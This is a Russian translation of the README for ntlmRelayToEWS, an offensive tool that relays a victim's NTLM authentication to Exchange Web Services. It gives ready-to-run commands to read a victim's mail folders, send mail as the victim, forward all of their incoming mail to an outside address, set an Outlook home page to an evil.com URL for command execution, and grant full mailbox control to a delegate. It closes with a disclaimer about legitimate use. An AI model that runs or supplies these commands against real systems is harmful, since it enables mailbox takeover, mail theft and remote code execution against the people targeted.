
атака ретрансляции NTLM на Exchange Web Services
Автор: Arno0x0x - @Arno0x0x
ntlmRelayToEWS — это инструмент для выполнения атак с ретрансляцией NTLM на Exchange Web Services (EWS). Он запускает SMBListener на порту 445 и HTTPListener на порту 80, ожидая входящего подключения от жертвы. Как только жертва подключается к одному из слушателей, происходит NTLM-согласование, которое ретранслируется на целевой сервер EWS.
Очевидно, что этот инструмент НЕ реализует весь API EWS, поэтому реализовано лишь несколько сервисов, которые могут быть полезны в некоторых сценариях атак. Возможно, в будущем я добавлю больше. Смотрите раздел «использование», чтобы получить представление о том, какие вызовы EWS реализованы.
Версия Exchange:
Я тестировал этот инструмент только на Exchange Server 2010 SP2 (что, признаюсь, довольно старая версия), поэтому все шаблоны SOAP-запросов EWS, а также разбор ответов EWS проверены только для этой версии Exchange.
Хотя я сам не тестировал, некоторые сообщают, что этот инструмент также работает с Exchange 2016 «из коробки» (то есть без каких-либо изменений в шаблонах SOAP-запросов).
Если эти SOAP-запросы не работают на другой версии Exchange, довольно легко создать шаблоны SOAP-запросов для более новой версии, используя управляемый API EWS от Microsoft в режиме трассировки и захватив соответствующие SOAP-запросы (именно так я и сделал!).
SOAP-клиент EWS:
Мне бы очень хотелось использовать SOAP-клиент для получения удобного интерфейса автоматического создания всех SOAP-запросов на основе WSDL Exchange. Я пробовал использовать 'zeep', но безуспешно — он отказывался работать с WSDL Exchange, так как требует загрузки внешних пространств имён и, следовательно, подключения к интернету. Кроме того, в zeep использование пользовательской транспортной сессии требует Requests.session, что не соответствует типу HTTP(S)-сессии, которая у нас есть по умолчанию с HTTPClientRelay: потребовалось бы либо переработать HTTPClientRelay для использования 'Requests' (/me лень), либо просто заставить zeep создавать сообщения с помощью zeep.client.create_message(), а затем отправлять их через уже имеющуюся ретранслированную сессию. Или, может, я просто плохой разработчик? ну что ж...
ntlmRelayToEWS требует правильной/чистой установки Impacket. Следуйте их инструкциям, чтобы получить рабочую версию Impacket.
ntlmRelayToEWS реализует следующие атаки, которые выполняются от имени ретранслированного пользователя (жертвы).
Обратитесь к справке для получения дополнительной информации: ./ntlmRelayToEWS -h. Получите больше отладочной информации, используя флаг --verbose или -v.
sendMail
Отправляет HTML-письмо на список адресов:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "[email protected],[email protected]" -s Subject -m sampleMsg.html
getFolder
Извлекает все элементы из заданной папки (входящие, отправленные, календарь, задачи):
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox
forwardRule
Создаёт правило пересылки, перенаправляющее все входящие сообщения жертвы на другой адрес электронной почты:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d [email protected]
setHomePage
Устанавливает домашнюю страницу папки (обычно для папки «Входящие»), указывая URL. Этот метод, обнаруженный SensePost/Etienne Stalmans, позволяет выполнять произвольные команды в программе Outlook жертвы путём создания специальной HTML-страницы: Outlook Home Page – Another Ruler Vector:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html
addDelegate
Устанавливает делегированный адрес в основном почтовом ящике жертвы. Другими словами, жертва делегирует управление своим почтовым ящиком другому лицу. После этого делегированный адрес получает полный контроль над почтовым ящиком жертвы, просто открыв его как дополнительный почтовый ящик в Outlook:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d [email protected]
Чтобы заставить жертву отправить свои учётные данные на ntlmRelayToEWS, можно использовать любой из следующих известных методов:
Invoke-SendEmail.ps1 для этого.Основано на Impacket и ntlmrelayx от Alberto Solino @agsolino.
Этот инструмент предназначен только для законного и легитимного использования:
Цитируя авторов Empire: Невозможно создавать наступательные инструменты, полезные для законной индустрии информационной безопасности, одновременно предотвращая их злонамеренное использование злоумышленниками.